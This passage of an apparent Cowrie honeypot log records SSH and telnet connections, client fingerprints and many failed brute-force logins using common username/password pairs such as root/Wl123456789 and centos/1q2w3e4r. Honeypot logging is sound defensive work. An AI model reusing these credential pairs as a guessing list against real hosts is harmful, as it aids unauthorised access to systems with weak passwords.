sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:59.862518Z","src_ip":"49.247.36.49","session":"56aff56c75c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.666379928588867,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:08:59.974721Z","src_ip":"220.190.103.234","session":"a5e08a7cc6d9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Wl123456789","message":"login attempt [root/Wl123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:00.711726Z","src_ip":"49.247.36.49","session":"56aff56c75c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.868898630142212,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:00.934906Z","src_ip":"67.23.227.170","session":"79443ecce48f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:01.919515Z","src_ip":"49.247.36.49","session":"56aff56c75c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51688,"dst_ip":"10.17.0.5","dst_port":23,"session":"9084d04c816a","protocol":"telnet","message":"New connection: 64.227.101.30:51688 (10.17.0.5:23) [session: 9084d04c816a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:05.197245Z"}
{"eventid":"cowrie.session.closed","duration":55.75240397453308,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:05.552388Z","src_ip":"64.227.101.30","session":"21413b593056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51040,"dst_ip":"10.17.0.5","dst_port":23,"session":"85c02fa8f91e","protocol":"telnet","message":"New connection: 64.227.101.30:51040 (10.17.0.5:23) [session: 85c02fa8f91e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:06.019836Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50290,"dst_ip":"10.17.0.5","dst_port":23,"session":"79e03862ec3e","protocol":"telnet","message":"New connection: 64.227.101.30:50290 (10.17.0.5:23) [session: 79e03862ec3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:08.747116Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":43128,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3eb67c83fae","protocol":"telnet","message":"New connection: 68.183.198.12:43128 (159.203.135.109:23) [session: e3eb67c83fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:08.767567Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":58948,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fa789c46964","protocol":"ssh","message":"New connection: 43.243.142.42:58948 (159.203.135.109:22) [session: 9fa789c46964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:11.553967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:11.559397Z","src_ip":"43.243.142.42","session":"9fa789c46964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:11.788496Z","src_ip":"43.243.142.42","session":"9fa789c46964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123ubuntu","message":"login attempt [ubuntu/123ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:12.733990Z","src_ip":"43.243.142.42","session":"9fa789c46964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:13.966371Z","src_ip":"43.243.142.42","session":"9fa789c46964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.226829051971436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:15.408889Z","src_ip":"67.23.227.170","session":"a8aa36f5d5e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":55928,"dst_ip":"159.203.135.109","dst_port":22,"session":"60740fe96c04","protocol":"ssh","message":"New connection: 42.200.66.164:55928 (159.203.135.109:22) [session: 60740fe96c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:18.660913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:18.666227Z","src_ip":"42.200.66.164","session":"60740fe96c04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:18.923825Z","src_ip":"42.200.66.164","session":"60740fe96c04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tes123","message":"login attempt [root/tes123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:19.968592Z","src_ip":"42.200.66.164","session":"60740fe96c04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:21.201146Z","src_ip":"42.200.66.164","session":"60740fe96c04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.155.93.75","src_port":47664,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9e7d900bf49","protocol":"ssh","message":"New connection: 216.155.93.75:47664 (10.17.0.5:22) [session: d9e7d900bf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:27.493497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:27.498593Z","src_ip":"216.155.93.75","session":"d9e7d900bf49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:27.649576Z","src_ip":"216.155.93.75","session":"d9e7d900bf49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"1q2w3e4r","message":"login attempt [centos/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:28.283594Z","src_ip":"216.155.93.75","session":"d9e7d900bf49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:29.437076Z","src_ip":"216.155.93.75","session":"d9e7d900bf49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.917381525039673,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:39.664381Z","src_ip":"64.227.101.30","session":"79e03862ec3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.779279470443726,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:48.976405Z","src_ip":"64.227.101.30","session":"9084d04c816a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.06055760383606,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:52.080267Z","src_ip":"64.227.101.30","session":"85c02fa8f91e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.23.227.170","src_port":57074,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e132f60c9c1","protocol":"telnet","message":"New connection: 67.23.227.170:57074 (159.203.135.109:23) [session: 2e132f60c9c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:52.677382Z"}
{"eventid":"cowrie.session.closed","duration":46.14117884635925,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:09:54.908663Z","src_ip":"68.183.198.12","session":"e3eb67c83fae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.36.49","src_port":1027,"dst_ip":"10.17.0.5","dst_port":22,"session":"df08caf6b34e","protocol":"ssh","message":"New connection: 49.247.36.49:1027 (10.17.0.5:22) [session: df08caf6b34e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:07.195829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:07.201261Z","src_ip":"49.247.36.49","session":"df08caf6b34e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:07.410433Z","src_ip":"49.247.36.49","session":"df08caf6b34e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.243.142.42","src_port":40716,"dst_ip":"159.203.135.109","dst_port":22,"session":"66af8ad969d3","protocol":"ssh","message":"New connection: 43.243.142.42:40716 (159.203.135.109:22) [session: 66af8ad969d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:07.918422Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:07.923641Z","src_ip":"43.243.142.42","session":"66af8ad969d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:08.166803Z","src_ip":"43.243.142.42","session":"66af8ad969d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq!12345","message":"login attempt [root/Qq!12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:08.281280Z","src_ip":"49.247.36.49","session":"df08caf6b34e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"asdlkj123","message":"login attempt [user/asdlkj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:09.159688Z","src_ip":"43.243.142.42","session":"66af8ad969d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:09.494605Z","src_ip":"49.247.36.49","session":"df08caf6b34e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:10.409491Z","src_ip":"43.243.142.42","session":"66af8ad969d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.200.66.164","src_port":44166,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3ff85d2436f","protocol":"ssh","message":"New connection: 42.200.66.164:44166 (159.203.135.109:22) [session: a3ff85d2436f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:19.501886Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:19.505980Z","src_ip":"42.200.66.164","session":"a3ff85d2436f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:19.746908Z","src_ip":"42.200.66.164","session":"a3ff85d2436f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53576,"dst_ip":"10.17.0.5","dst_port":23,"session":"89605653e1a5","protocol":"telnet","message":"New connection: 64.227.101.30:53576 (10.17.0.5:23) [session: 89605653e1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:20.508675Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:20.770153Z","src_ip":"42.200.66.164","session":"a3ff85d2436f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":41917,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dd491a4956f","protocol":"ssh","message":"New connection: 2.57.121.25:41917 (10.17.0.5:22) [session: 9dd491a4956f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:20.947352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T17:10:20.953748Z","src_ip":"2.57.121.25","session":"9dd491a4956f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-